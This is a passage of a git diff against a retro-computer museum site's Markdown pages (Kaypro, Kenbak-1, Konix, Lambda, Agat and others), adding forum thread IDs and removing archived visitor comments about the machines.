months, but at the time i was only learning, and it was not untill much later that i was able to fully understand what it ment to me. - - author: Jerry Jacobson (Earth) - date: Tuesday 16th April 2002 - text: |- - I still have one Kaypro II with a unique feature that we added to several of the Kaypros. This one has 128K of memory instead of the standard 64K. That made Supercalc "fly" much faster and obviously with greater spreadsheet capacity! - - I considered myself the "Perfect Maverick". At the time they were including the Perfect software series (Writer, Calc, etc.), I was using Supercalc, Wordstar and Dbase II. My favorite story from those days was my first experience with Dbase. A friend of my son gave me a floppy and said "try this new database program", and the two of them left for the evening. When you started Dbase II the only thing that appeared on the screen was a dot! Luckily after a few efforts I typed "Quit" and finally got my computer back! - - author: goodcola (where) - date: Wednesday 13rd March 2002 - text: I'm looking for a boot disk for a kaypro 2 computer. If you can make a copy of one or have one please email me. related: - /museum/kaypro-1 - /museum/kaypro-10 diff --git a/content/museum/kaypro-iv.md b/content/museum/kaypro-iv.md index 54bdeea4..df048942 100644 --- a/content/museum/kaypro-iv.md +++ b/content/museum/kaypro-iv.md @@ -62,6 +62,7 @@ params: - photos - links - docs + forum_thread: 543 photos: - title: PARIS DAKAR subtitle: '' @@ -86,16 +87,6 @@ params:  type of document : Online reader **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: Sharon Wertz (United States) - date: Saturday 29th December 2018 - text: We had four Kaypro IVs that we souped up with a speed doubler and four half height drives. Later we put in four double sided 3.5" drives, and still later a hard drive. I did Masters Theses for college students with Perfect Writer, because it was so versatile. Printed them out on a 32 pin dot matrix printer, and later on a postscript laser printer. Took our souped up Kaypro to Bend Oregon to the SOG (SemiOfficial Get Together) a CP/M group. It was a nine day wonder. - - author: Bill (VA / USA) - date: Thursday 24th September 2015 - text: It had a 4Mhz processor. I''ve owned many computers since that one, but it was my favorite. That and Turbo Pascal 1.5 were a tough pair to beat. It saw me through 4 years of college and then some. - - author: kathy (calif usa) - date: Tuesday 1st October 2002 - text: Just wondered what a kaypro 4 would be worth now related: - /museum/kaypro-1 - /museum/kaypro-10 diff --git a/content/museum/kaypro-robie.md b/content/museum/kaypro-robie.md index 84340c54..83b28bb7 100644 --- a/content/museum/kaypro-robie.md +++ b/content/museum/kaypro-robie.md @@ -62,6 +62,7 @@ params: - photos - links - docs + forum_thread: 288 photos: - title: COMPLETE SYSTEM subtitle: '' @@ -142,24 +143,6 @@ params:  type of document : Online reader **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: Glenn (Hilo, HI) - date: Friday 18th May 2012 - text: We have a working model here at a computer store I work at. It POSTS but the system disk or drives must be shot because it doesn''t boot :( We also have a Kaypro 4+, Kaypro 2000, Atari 800, Commodore 2000, Commodore 64 on display! - - author: LaVerne Kreklau - date: Thursday 13rd October 2011 - text: |- - I am the owner of the Robie pictured here. Back in the early ''90s I sent the keyboard to a place in I believe North Carolina to be repaired. I never seen it again. If anyone knows where I can find one please let me know. I have searched e-Bay for a replacement for a long time but have never found one. - - Thanks. - - author: Diego Barizo (Uruguay) - date: Saturday 2nd January 2010 - text: |- - A Robbie can be seen at David Addison''s office in "Moonlighting" second season.\ - It''s a nice show to spot old computers! :-) - - author: Gary Herring (USA) - date: Thursday 1st June 2006 - text: I actually bought one of these. It was the first computer I ever actually owned. This was in 1985; the owner of the computer store was pricing them to move and I thought I was getting a bargain. It took me a couple of days to figure out that I'd outwitted myself. I eventually replaced the thing with an IBM PC-XT. A friend of mine bought the Robie; miraculously, we remain friends. The Robie was certainly durable. Short of an axe or a shotgun, nothing was going to break the thing, but it was a better boat anchor than computer. related: - /museum/kaypro-1 - /museum/kaypro-10 diff --git a/content/museum/kemitron-naja.md b/content/museum/kemitron-naja.md index 0aca0423..2891afed 100644 --- a/content/museum/kemitron-naja.md +++ b/content/museum/kemitron-naja.md @@ -56,13 +56,7 @@ params: value: Built-in PSU - label: PERIPHERALS value: 12'' monochrome monitor (green), 4 disk-drives interface, 4Mhz addon - comments: - - author: Cristiano (Brazil) - date: Tuesday 9th December 2014 - text: This response might be a little late but yes, it is hardware-compatible with the TRS-80. I used to use authentic Radio Shack 5 1/4"disk drives connected to a Naja. I don''t remember if it needed an add-on board$ probably it did, though. - - author: Umberto (Brasil) - date: Monday 27th May 2013 - text: I have one model of this, an I would like to know if this model is compatible in hardware with the TRS, I mean the disk drive. + forum_thread: 530 oc_id: 536 source: url: https://web.archive.org/web/20230606202438/http://www.old-computers.com/museum/computer.asp?c=536 diff --git a/content/museum/kenbak-computer-company-kenbak-1.md b/content/museum/kenbak-computer-company-kenbak-1.md index 9e0a2fae..3b50fff0 100644 --- a/content/museum/kenbak-computer-company-kenbak-1.md +++ b/content/museum/kenbak-computer-company-kenbak-1.md @@ -59,6 +59,7 @@ params: - adverts - links - docs + forum_thread: 1226 photos: - title: KENBAK-1 subtitle: '' @@ -133,32 +134,6 @@ params:  type of document : PDF\  size : 817 KB\  source : [bitsavers.org](http://bitsavers.org) - comments: - - author: Achim Baque (Germany) - date: Saturday 26th March 2022 - text: 'I own the only prototype, visited John Blankenbaker several times and he even signed the computer for me. I have some information, pictures and even a video on my website. In 2022 John gave me the permission to preserve his legacy and continue his former website kenbak-1.net. It is now hosted here: kenbak-1.info.' - - author: Julian Skidmore (Manchester, UK) - date: Sunday 1st July 2007 - text: |- - Although the Kenbak-1's oscillator is 1MHz, it's clock speed was half that at 500KHz and simple calculations show it must execute instructions at an astonishingly low rate 300 instructions per second or less. This is because - - 1\. Memory is 1024 bits of serial memory, so random access will take 512 cycles on average - 1000 access per second. - - 2\. CPU registers are placed in main memory too, and a typical instruction involves reading/writing the program counter, the accumulator and the instruction itself. Thus a maximum 1000/3 = 333 instructions can execute per second. - - Having said that, the architecture is impressive. It looks like a typical 8-bit CPU: with several registers, multiple addressing modes including indexed addressing and variable length instructions. - - author: Thomas Jones (United States) - date: Monday 14th November 2022 - text: Julian Skidmore has some great comments about speed, but I have a few corrections. While the nominal clock speed is 1 MHz as stated, and there is a divider which divides it down to two 500 KHz clock phases signals for the shift registers, these Intel 1404A shift registers are actually two lines multiplexed, so each of the clock phases cause one input and output data, so the bit rate still stays at 1 million bits per second. But she''s off by a factor of 3 on the instruction rate. And while Mike Corregan has some great analysis, and did some python emulations, you can''t beat measuring the instruction time on a real original Kenbak-1 computer. On my computer, which has a clock rate a bit low (800 KHz, maybe due to aging of resistors and capacitors) the standard "count and display" program executes at 768 instructions/second, and those are all 2-byte instructions. If my clock rate was increased to the nominal 1 MHz, I''d expect the instruction rate to be close to 1000 instructions//second. - The program on the website kenbak.com when run, flashes the high-order bit at once/second, which is 256 loops, and 3 instructions/loop, so 768 instructions/second.) - - author: Mike Corrigan (United States) - date: Tuesday 7th September 2021 - text: 'It turns out that I was wrong about the time a ''''typical'''' instruction takes. The average instruction seems to take about 4ms, with a few taking 2ms and a few taking 6ms. There are lots of reasons for variation, and it is hard to predict. So I wrote a python program which embodies the state machine described in the Kenbak-1 Theory of Operations document. This allows me to put in a Kenbak program and it gives all the details about the timings of each instruction executed. The first thing I noticed is that every instruction takes an integral multiple of 128 byte times (byte time is 16us). So the only possible instruction times are 2ms, 4ms, 6ms, 8ms, 10ms and 12ms (The longest running instruction I could find takes 6 byte times (12ms). I ran a program which finds all of the fibonacci numbers between 0 and 65536 and the average instruction time was right about 4ms ... 256 instructions per second. There are some interesting things I noticed: $ Any instruction placed at address - 4 (or 0x84) will take 2ms longer than anywhere else. $ Any instruction that modifies the X register will take 2ms longer than the same instruction modifiying A or B. $ Any instruction that has a memory operand whose address (module 128) is less that the instruction''''s address (modulo 128) will take 2ms longer than if the memory operand''''s address (modulo 128) is greater than the instruction''''s address (modulo 128)' - - author: Mike Corrigan (United States) - date: Monday 6th September 2021 - text: 'Regarding Julian Skidmore''''s post: The typical instruction really involves four memory accesses. the program counter, the instruction itself, a register and a memory operand. (Only those with immediate operands and shifts do not have a separate memory operand. So assuming all acccess are random, this would only give 250 instructions per second. The clock was indeed about 512KHz, and the serial memory was two shift registers of 1024 bits each (which were shifted in parallel). This means that one pass through the memory takes about two milliseconds. But, because of the layout of the registers, code and data in memory$ the time between executions of consecutive instructions was almost always about 2 ms. (This is true for all but except store and jmp-and-mark instructions which typically take 4 ms, and indirect and indexed memory modes which could take even more) This presumes that data bytes are placed at higher memory addresses than the code. The machine would access the program - counter, the instruction, the memory operand and finally the target register all in a single pass through the memory. At that point it is in position to do it again (the program counter comes right after the registers) The store instruction needed to access the memory operand last causing a second pass through the memory. So the typical instruction took about 2 ms, with some taking 4. Many programs could come near to executing 500 instructions per second.' oc_id: 1259 source: url: https://web.archive.org/web/20230607133943/http://www.old-computers.com/museum/computer.asp?c=1259 diff --git a/content/museum/konix-multisystem.md b/content/museum/konix-multisystem.md index b72e7166..420d05a5 100644 --- a/content/museum/konix-multisystem.md +++ b/content/museum/konix-multisystem.md @@ -12,6 +12,7 @@ params: - software - links - videos + forum_thread: 998 photos: - title: AEROPLANE CONFIGURATION subtitle: '' @@ -86,24 +87,6 @@ params: - title: Konix Multi System - Prototype Footage url: https://www.youtube.com/watch?v=nYpebHK4cEo text: 'Length: 10:32' - comments: - - author: mikiec (England) - date: Thursday 8th May 2014 - text: |- - The Konix Multisystem and the moving chair was on display at the last Personal Computer World (PCW) show at Earls Court in 1989. I attended the first day of the show expecting to be able to see the seat in action, but it wasn''t working due to technical difficulties. I was told it would be working the next day, but I was only there for the day. I also bought a couple of the MCS controllers in the early 2000''s as it was a great design and it reminded me of this machine that never was. The Konix\ - reminds me of the SAM (upgraded Spectrum clone) that never took off and the company went bust. :( - - author: Jeice1990 - date: Saturday 4th December 2010 - text: Video taped footage of some unfinished games for this unreleased system survives. Could have been a great system judging by the footage. - - author: Daniel Saner (Switzerland) - date: Tuesday 24th June 2008 - text: I actually had one of those MCS controller-only devices. It might be weird but I remember that it came with a obscure, rather bland racing game on a diskette. I would love to hear from someone who still has such a disk, as I cannot find mine anymore. It was just called RACE or something like that, so it probably was only shipped with this controller. If so, it must be one ridiculously rare! - - author: Bill Loguidice (Central New Jersey, USA) - date: Friday 6th August 2004 - text: I remember a major write up in a magazine (Videogames and Computer Entertainment?) here in the US in the late 1980's. While all the add-ons and expandability were nifty, I remember a knock against this unit was that it was lacking in a few key technical areas in comparison to the competition. It's not surprising that this concept never made it to market, as it seems the developers cared about cramming every feature possible into the units without concern for getting the core out to the public. - - author: Nicolas Sapin (France) - date: Friday 6th August 2004 - text: The konix system has never been produced but the molded case was distributed as a regular joystick/wheel for the PC's. As they had paid for the expensive molding tools, they decided to finally use it even on a more simple product. When I saw the first one on ebay, I was dreaming it was a Konix console prototype... Silly me :) oc_id: 1024 source: url: https://web.archive.org/web/20230207090951/http://www.old-computers.com/museum/computer.asp?c=1024 diff --git a/content/museum/kontron-psi-80.md b/content/museum/kontron-psi-80.md index 268bd087..6d4b1002 100644 --- a/content/museum/kontron-psi-80.md +++ b/content/museum/kontron-psi-80.md @@ -65,6 +65,7 @@ params: tabs: - photos - links + forum_thread: 162 photos: - title: ANOTHER PICTURE subtitle: '' @@ -74,19 +75,6 @@ params: - title: wiki.bitplan.com/index.php/Kontron_PSI_98 url: http://wiki.bitplan.com/index.php/Kontron_PSI_98 text: Details info and documents to download - comments: - - author: Wolfgang Fahl (Germany) - date: Sunday 6th June 2021 - text: http://wiki.bitplan.com/index.php/Kontron_PSI_98 - - author: Wolfgang Fahl (Germany) - date: Tuesday 11th October 2011 - text: My Kontron PSI 98 is still working and has a keyboard. Please get intouch if you''d like to learn more details - - author: Alexander (Russia) - date: Monday 30th June 2008 - text: Sorru for my very very bad English. I'm russian and do not speak english. I have bosch gp-3 computer with z80 cpu and i do not find any information about it. But I think this kantron maschine. My bosch can't boot from cp\\m disks and says that he need KOS operation system as Kontron. When i give him KOS disk by kontron (i have it) he boots pretty, but i don't know anything about KOS and cannot use it. Please tell my which way i can run cp\\m programs on it and how i can use a COS? Thank you very much. - - author: mattos (brazil) - date: Friday 19th March 2004 - text: I have a kontron but no keyboard. Does anybody knows how to use an pc keyboard on the kontron? or some schematics of the keyboard? oc_id: 150 source: url: https://web.archive.org/web/20230608154348/http://www.old-computers.com/museum/computer.asp?c=150 diff --git a/content/museum/korting-tele-multiplay-6000.md b/content/museum/korting-tele-multiplay-6000.md index 831defac..1fa3895c 100644 --- a/content/museum/korting-tele-multiplay-6000.md +++ b/content/museum/korting-tele-multiplay-6000.md @@ -53,6 +53,7 @@ params: tabs: - photos - software + forum_thread: 1124 photos: - title: TELE-MULTIPLAY 6000 subtitle: '' diff --git a/content/museum/korting-tele-multiplay-8000.md b/content/museum/korting-tele-multiplay-8000.md index 7effccd2..be1cc1a1 100644 --- a/content/museum/korting-tele-multiplay-8000.md +++ b/content/museum/korting-tele-multiplay-8000.md @@ -44,6 +44,7 @@ params: value: 'Yes' - label: PERIPHERALS value: 'No' + forum_thread: 725 oc_id: 742 source: url: https://web.archive.org/web/20230614010953/http://www.old-computers.com/museum/computer.asp?c=742 diff --git a/content/museum/korting-tele-video-computer-tvc-4000.md b/content/museum/korting-tele-video-computer-tvc-4000.md index ce0e30d1..f3bcfd4a 100644 --- a/content/museum/korting-tele-video-computer-tvc-4000.md +++ b/content/museum/korting-tele-video-computer-tvc-4000.md @@ -11,6 +11,7 @@ params: - photos - emulators - links + forum_thread: 1118 photos: - title: TVC-4000 subtitle: '' diff --git a/content/museum/kosmos-cp1-computer-praxis.md b/content/museum/kosmos-cp1-computer-praxis.md index 4550f4b6..a515aed8 100644 --- a/content/museum/kosmos-cp1-computer-praxis.md +++ b/content/museum/kosmos-cp1-computer-praxis.md @@ -50,43 +50,7 @@ params: value: None - label: POWER SUPPLY value: External PSU, 8-14v - comments: - - author: Andreas Signer (Switzerland) - date: Tuesday 9th October 2018 - text: It might be worth mentioning that there''s also a multiplatform emulator available at https://github.com/asig/kosmos-cp1/, containing a fully commented disassembly of the ROM (https://github.com/asig/kosmos-cp1/blob/master/cp1.asm) - - author: Michael Graf (Germany) - date: Monday 18th June 2018 - text: |- - "Little is known about this german training kit..." may have been true when the article was written, but by now, quite a bit of information has surfaced:\ - \- There are some excellent pictures, including all the expansions, at http://www.8bit-homecomputermuseum.at/computer/kosmos_computer_praxis_cp1.html (as TOM already pointed out)\ - \- The full set of manuals (including all expansions, in German) is available at https://www.retrozone.ch/cp1/\ - \- Michael Mustun provided a ROM disassembly at https://www.flagsoft.com/cmswp/de/software/kosmos-cp-1-computer-praxis/ - - Best regards,\ - Michael - - author: Scouter3d (Österreich) - date: Monday 20th February 2012 - text: |- - Hi, you can find more info and pictures here: http://www.8bit-homecomputermuseum.at/computer/kosmos_computer_praxis_cp1.html - - Greetings TOM:-) - - author: Ansgar Strickerschmidt (Munich, Germany) - date: Monday 14th March 2005 - text: |- - My experience is similar - actually, I got more into the hardware side. Actually, I built a cassette interface of my own, since the original one was too expensive for me at that time. Along with a little 'modding' of the CP-1. And it still works, like the whole machine. Anyone interested in the schematics of my home-built cassette interface, might contact me at: stargar at gmx dot de.\ - Did anyone do further modding, acceleration, enhancements/improvements to the code, or manage to get anything useful attached to the system bus, besides the RAM extension?\ - I have not yet given up the idea of cloning the whole machine to a nifty little box and have it control something in the house.\ - I also wrote an enhanced version of the 'Towers of Hanoi' robot control program, which is capable of moving a tower of maximum 11 slices (with the RAM extension only), if someone might be interested. (Heck, I could make it into a \*.wav file, probably an \*.mp3 to get it loaded... don't know actually if the file is compatible with the original cassette interface.) - - Ansgar - - author: Johannes Franken (Germany) - date: Thursday 20th March 2003 - text: |- - The Kosmos CP-1 was my first, own computer. I got it when I was 8 years of age and I really loved it, bought any extension modules and connected them to my electronic kits. - - Today - more than 20 years later - I earn lots of money with IT development and -consulting. I can say, that learning that simple machine-code on the CP-1 was exactly the right way for me to get into computing. It actually changed my life. Of course, the CP-1's still got its place in the cupboard. - - I wish, there were similar learning computers today. It would help a lot. + forum_thread: 488 oc_id: 494 source: url: https://web.archive.org/web/20221203195223/http://www.old-computers.com/museum/computer.asp?c=494 diff --git a/content/museum/kyocera-kyotronic-85.md b/content/museum/kyocera-kyotronic-85.md index c54b8352..80ee2356 100644 --- a/content/museum/kyocera-kyotronic-85.md +++ b/content/museum/kyocera-kyotronic-85.md @@ -60,24 +60,12 @@ params: value: Unknown tabs: - photos + forum_thread: 1049 photos: - title: LARGE VIEW subtitle: '' text: '' image: /media/museum/photos/kyocera_kyotronic85_system_s2.jpg - comments: - - author: DaveW (USA) - date: Sunday 22nd July 2012 - text: |- - I worked for the company that imported these to the USA. As I remember we imported about 1000 pcs. We advertised in the ComputerShopper magazine, and sold them at 799.00 retail price. They sold quickly and I remember that few problems in the field. This computer was really ahead of the rest of the market. - - The software in ROM made is very powerful out of the box. Some of the first to adapt this computer were news paper reporters, because of the full size keyboard and modem built-in to transmit the story to the office from the field. - - author: DaveW (USA) - date: Sunday 22nd July 2012 - text: |- - I worked for the company that imported these to the USA. As I remember we imported about 1000 pcs. We advertised in the ComputerShopper magazine, and sold them at 799.00 retail price. They sold quickly and I remember that few problems in the field. This computer was really ahead of the rest of the market. - - The software in ROM made is very powerful out of the box. Some of the first to adapt this computer were news paper reporters, because of the full size keyboard and modem built-in to transmit the story to the office from the field. oc_id: 1079 source: url: https://web.archive.org/web/20221203155553/http://www.old-computers.com/museum/computer.asp?c=1079 diff --git a/content/museum/lambda-electronics-ltd-pc-8300.md b/content/museum/lambda-electronics-ltd-pc-8300.md index f7ec4200..a7cd78fa 100644 --- a/content/museum/lambda-electronics-ltd-pc-8300.md +++ b/content/museum/lambda-electronics-ltd-pc-8300.md @@ -64,6 +64,7 @@ params: - emulators - links - docs + forum_thread: 1138 photos: - title: PC 8300 subtitle: '' @@ -274,56 +275,6 @@ params:  type of document : Online reader **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: Niels Bjarne Rasmussen (Danmark) - date: Saturday 26th June 2021 - text: it has 32 k extra memory - - author: Niels Bjarne Rasmussen (Danmark) - date: Saturday 26th June 2021 - text: 'if anybody wants an old lambda 8300 for free you can pick it up in Virum, Denmark. e-mail to: nbkampp@gmail.com' - - author: Kristian (Norway) - date: Thursday 14th May 2020 - text: This was my first computer back in the early 80''s. Mine was given to me by my uncle and I remember it as "Lambda 2000". I learnt basic on this thing from reading the command words printed on the keys and experimenting. I had the big (and heavy!) 16KB ram expansion plugged in plus a small printer which I never really used. Eventually the soft touch keys started failing and I moved on to a C64, which was a huge leap back then :-) - - author: Marcus (Sweden) - date: Monday 17th September 2018 - text: My first contact with computers, My friend had one that we played around with. It was branded Lambda, i dont remember model nmbr. - - author: Ronald (Denmark) - date: Friday 6th May 2016 - text: https://www.youtube.com/watch?v$lfiSz_ZcCFw - - author: Robcfg (Spain) - date: Wednesday 17th June 2015 - text: 'You can find high quality scans and pictures of the Marathon here: http://www.zonadepruebas.com/viewtopic.php?f$40$t$3953' - - author: Sascha2000 (Germany) - date: Monday 26th November 2012 - text: |- - It was possible to install different ROMs into the lambda to gain better ZX81 compatibility. I have made a multirom-board which can be seen here: - - http://www.youtube.com/watch?v$lH8igenBmuY$feature$watch_response - - author: Dwayne Surdu-Miller (Canada) - date: Wednesday 13rd July 2011 - text: The PC-8300 was distributed in Canada for a few years as surplus by Princess Auto. The manual included a little bit of English, but was mostly printed with Chinese block characters. The case and colour scheme are exactly as shown for Lambda Electronics PC-8300, though there was no such branding on the original box, the manual, or the computer. - - author: Torsten - date: Monday 9th August 2010 - text: The Lambda was my first computer inherited from a friend who got an Amstrad 464 around 1983-84. I used it to type Basic programs from magazines. I only had it about a year before I got an Amstrad and never looked back - - author: Helge (Internet) - date: Wednesday 7th July 2010 - text: |- - I have been looking for info about that marathon-thing, because it was my first computer, and i found some here (messed up site):\ - http://www.homecomputer.de/pages/MachineInfo/Marathon_32K.html - - author: Jostein Chr. Andersen (Sweden) - date: Monday 12th April 2010 - text: Can that it was under the Marathon name in Norway. I had one like this around 1982-83 (probably ''82) under the name Marathon 32K and bought it in Oslo. - - author: Carsten Krogh (Denmark) - date: Thursday 7th February 2008 - text: |- - Well, the Lambda 8300 was distributed in Denmark - probably also the rest of the nordics. It was an exact ZX81 clone (first cloning that I am aware of?) and ran Sinclair software just fine.\ - Best rgds. from Denmark, and do keep up the good work! - - author: Murray Moffatt (New Zealand) - date: Tuesday 11th September 2007 - text: |- - The Lambda PC 8300's keyboard looks almost identical to the Panasonic JR-100 at http://www.old-computers.com/museum/computer.asp?c=320&st=1 - - Same style and layout and everything! This has to be more than just a coincidence... related: - /museum/czerweny-cz-1000 - /museum/czerweny-cz-1000-plus diff --git a/content/museum/leanord-elan.md b/content/museum/leanord-elan.md index aecd1600..4c77dbe6 100644 --- a/content/museum/leanord-elan.md +++ b/content/museum/leanord-elan.md @@ -58,6 +58,7 @@ params: value: Unknown tabs: - photos + forum_thread: 987 photos: - title: LARGE VIEW subtitle: '' @@ -76,20 +77,6 @@ params: • CPU, ROM, RAM main card\ • FDD and HDD controller card. image: /media/museum/photos/leanord_elan_inside_s1.jpg - comments: - - author: Jean-Marc Marcant (France) - date: Tuesday 28th February 2012 - text: 'I was part of the team who developped the ELAN motherboards from 1985 to 1994. The 1984- 1989 period was really great for PC developpers !!! I also participated to the promotion of ELAN PC in Techecoslovaquia from 1987 to 1989: this also has been a great experience in going to the Eastern Europe" that was still "communist. i remember quite well Pave Baudis and the "sceptic man".' - - author: Lukaz1010 (Czech Republic) - date: Wednesday 26th October 2016 - text: |- - Helo Jean-Marc Marcant, - - thank you! We had your computers Leanord Elan XTs in token ring at Kralupy nad Vltavou, Czech Republic. It was my first PC experience I was 15 years old. And at home I had only 8-bit ZX-Spectrum clone.\ - I will never forget the impression when saw them for the first time connected to network in our computer classroom. Then I fell in love with computing forever and my profession was chosen that time. - - author: Daniel Almeida (Portugal) - date: Monday 7th May 2012 - text: I used this computers at school at my 10th year. It was in 1988 in Portugal. We had a small network with about 11 computers. One was the model in the picture which belonged to the teacher, it had a 3,5 and 5,1/4 disk drive, plus a 20Mb hard disk drive. The other 10 computers had no hard-disk, only 2 5,1/4 disk drives. Monitors were green phospor with CGA graphics. oc_id: 1013 source: url: https://web.archive.org/web/20230413210516/http://www.old-computers.com/museum/computer.asp?c=1013 diff --git a/content/museum/leanord-sil-z-model-5-6.md b/content/museum/leanord-sil-z-model-5-6.md index 3da71a4e..c9e062cc 100644 --- a/content/museum/leanord-sil-z-model-5-6.md +++ b/content/museum/leanord-sil-z-model-5-6.md @@ -58,19 +58,12 @@ params: value: Unknown tabs: - adverts + forum_thread: 219 adverts: - title: SIL'Z III subtitle: '' text: Nice fish-eye picture of a Sil'z III illustrating a 1982 article about Technologic Revolution in the french mag TeleSoft. image: /media/museum/pubs/leanord_silz3_pic_rev_1.jpg - comments: - - author: Dan (France) - date: Saturday 9th April 2011 - text: |- - Hi,\ - I ''ve worked in the plant (town :Haubourdin), and the Sil''z was an Apple 2 machine with some enhancements (graphics) in a hard case (aluminium), and with a better power supply, built in video CRT and strong keyboard\ - It was possible to connect 8" drives (I''ve writted routines for that, in 6502 assembly and Pascal UCSD\ - On the picture, on the right,it''s a 5.25" disk-drive oc_id: 209 source: url: https://web.archive.org/web/20230608092150/http://www.old-computers.com/museum/computer.asp?c=209 diff --git a/content/museum/leanord-silex.md b/content/museum/leanord-silex.md index 2e7f8606..b09899a0 100644 --- a/content/museum/leanord-silex.md +++ b/content/museum/leanord-silex.md @@ -70,6 +70,7 @@ params: - photos - adverts - docs + forum_thread: 1001 photos: - title: SILEX subtitle: '' @@ -108,17 +109,6 @@ params:  source : [Retro Computing](http://ksinfos.perso.sfr.fr/) **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: Dan (France) - date: Saturday 9th April 2011 - text: |- - Hi,\ - I ''ve worked in the plant (town :Haubourdin), and the Sil''z was an Apple 2 machine with some enhancements (graphics) in a hard case (aluminium), and with a better power supply, built in video CRT and strong keyboard\ - It was possible to connect 8" drives (I''ve writted routines for that, in 6502 assembly and Pascal UCSD\ - On the picture, on the right,it''s a 5.25" disk-drive - - author: Yan (Brazil) - date: Monday 2nd December 2019 - text: Looking at the random systems I first fell into the "Darlay DY 80" page and now in this "Leanord Silex", both Made in France. Seems to me that the French are as good making computers as they are making cars. LoL. :D oc_id: 1027 source: url: https://web.archive.org/web/20230608074904/http://www.old-computers.com/museum/computer.asp?c=1027 diff --git a/content/museum/leisure-dynamics-leisure-vision.md b/content/museum/leisure-dynamics-leisure-vision.md index 1517b8c7..0ac5581a 100644 --- a/content/museum/leisure-dynamics-leisure-vision.md +++ b/content/museum/leisure-dynamics-leisure-vision.md @@ -13,6 +13,7 @@ params: - emulators - links - docs + forum_thread: 1145 photos: - title: LEISURE-VISION CONSOLE subtitle: '' @@ -94,10 +95,6 @@ params:  source : [Emerson Arcadia 2001 Central](http://amigan.classicgaming.gamespy.com/) **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: Andy (Canada) - date: Tuesday 5th December 2006 - text: I recently purchased a leisure vision on ebay and it didnt have a power supply. So I went out and bought one and there's my problem. Don't know if the polarity of the adapter pin is it positive or negative because both pins came with the adapter. I removed the bottom cover of the system and noticed a blue wire and a red one from port on the system. Hope you can tell me which is which. Thanks for your time related: - /museum/advision-home-arcade - /museum/bandai-arcadia diff --git a/content/museum/lemz-agat-9.md b/content/museum/lemz-agat-9.md index ada82331..bcaea4dd 100644 --- a/content/museum/lemz-agat-9.md +++ b/content/museum/lemz-agat-9.md @@ -53,6 +53,7 @@ params: value: RAM expansion board, printer card, network card, analog/digital card,... tabs: - links + forum_thread: 504 links: - title: Applefritter url: http://www.applefritter.com/appleclones/other.html @@ -66,10 +67,6 @@ params: - title: Soviet Computer Technology url: http://www.chscene.ch/ccc/habi2/054_soviet_computer_technology.html text: Very interesting article, has some words about the Agat - comments: - - author: Dmitry Dolbnin (Russia) - date: Saturday 8th January 2005 - text: Once I was the user of Agat 9D computer and I can tell you what origin of such machines is Bulgaria .The only known manufacturer (Edinie Sistemi in russian) United Systems in ex-USSR produced so-called United Systems series EC computers . The manufacturing plant was in Belorussia , Minsk city. I don't know much about LEMZ company , known to you as it's manufacturer , but I'm strongly believe what manufacturer was the IZOT company , which was also well-known in Russia as disk drives manufacturer. related: - /museum/lemz-agat oc_id: 510 diff --git a/content/museum/lemz-agat.md b/content/museum/lemz-agat.md index d2052c47..544e4f8a 100644 --- a/content/museum/lemz-agat.md +++ b/content/museum/lemz-agat.md @@ -68,6 +68,7 @@ params: - photos - adverts - links + forum_thread: 503 photos: - title: LEMZ AGAT subtitle: '' @@ -106,24 +107,6 @@ params: - title: Soviet Computer Technology url: http://www.chscene.ch/ccc/habi2/054_soviet_computer_technology.html text: Very interesting article, has some words about the Agat - comments: - - author: Nop - date: Saturday 26th February 2011 - text: |- - I had both Agat-7 and Agat-9 computers. In a reality, photo in this article depicts early experimental model of Agat-4 which, really, was very close to Apple $$+. But both Agat-7 and Agat-9 had a lot of differences from Apples. For example, they used 800K floppy drives with different physical format (but it was possible to install second 144K drive or a pair of them via additional controller card).\ - All of those computers was very easy to repair because they used only low-density chips, especially Agat-7. On the other hand they consumed a lots of energy and was very expansive to buy (really it was almost impossible to buy these computers in shops: all of them was supplied for schools by a government for free, but not for personal use). Several years ago I gave up both of them to a guy who was a fan of Agats. So now I have only a box of empty 5.25" disks :) - - author: Linkman (Slovak republic (SK)) - date: Friday 15th October 2004 - text: I have a question ? how much cost this "computer" today ? - - author: Paul (Hull, U.K.) - date: Sunday 25th April 2004 - text: Ahhhh, good old Soviet computers, how much I would like to buy one of these LEMZ Agats.......would the best place to find and buy one at a reasonable price be touring round Russia and the ex-Soviet Union? - - author: Yevgeniy Fiks (US) - date: Monday 7th April 2003 - text: I'm interested in purchasing a LEMZ Agat. - - author: frank (usa) - date: Tuesday 24th December 2002 - text: i wish i had one of these computers. related: - /museum/lemz-agat-9 oc_id: 509 diff --git a/content/museum/litton-monroe-oc-8820.md b/content/museum/litton-monroe-oc-8820.md index ab560287..cc14c6e4 100644 --- a/content/museum/litton-monroe-oc-8820.md +++ b/content/museum/litton-monroe-oc-8820.md @@ -66,6 +66,7 @@ params: - photos - adverts - hardware + forum_thread: 1048 photos: - title: FRONT VIEW subtitle: '' @@ -105,67 +106,6 @@ params: subtitle: '' text: '' image: /media/museum/hardware/monroe_8820_hddunit_s2.jpg - comments: - - author: GregUnit (Charleston, SC) - date: Wednesday 20th July 2011 - text: In ''83 I used to sell and install Monroe OC-8800 computers. They had the 8810 with 2 floppy drives and the 8820 originally came with a 5 meg full height hard drive. Units were manufactured in Lexington, SC, a Monroe owed assembly plant that operated at 50 degrees with the lights off (robotics). My first sale was to Woody Bilton Ford in St. George, SC. A company in Litchfield SC had a great auto dealer F$I package. The bought the 8810 with a Diablo daisy wheel printer. My next sale was to C$S Bank (now Wachovia (Wells Fargo)). Again, another F$I package with the Diablo printer, Word Star, D-Base, and Supercalc. Monroe also had a Tobacco package that would print the purchase order (oki dot printer) and the check (Diablo) at the same time. Sold like hotcakes. The following year Monroe came out with an 80186 processor machine with “Open Office” by Software Products International”. Open Office did everything MS Office did, but better. Office 2000 was about the same. I sold the fool - out of that one too. But IBM came out with the 80286, Monroe bet the farm on 80186, and that was the end of Monroe computers. However. Monroe did a great job of making computers useful for business. - - author: Bill Thane (United States) - date: Friday 9th April 2021 - text: Actually the OC8820 was a dual drive. The 5MB drive which was either a Mini Scribe or Seagate was detached and had a lead shielded cable that weighed a ton. I want to say the 8810 was a single drive. I worked out of the San Carlos and then San Francisco office for several years for Monroe and sold a number of those systems. The DB software was Condor and the spreadsheet software was Supercalc and of course the word processing was Wordstar. - - author: Alejandro (Argentina) - date: Thursday 18th March 2021 - text: Hi everyone! I''m repairing a Monroe MCA200, which is similar to the OC8820. I have thought that they are the same machine, but 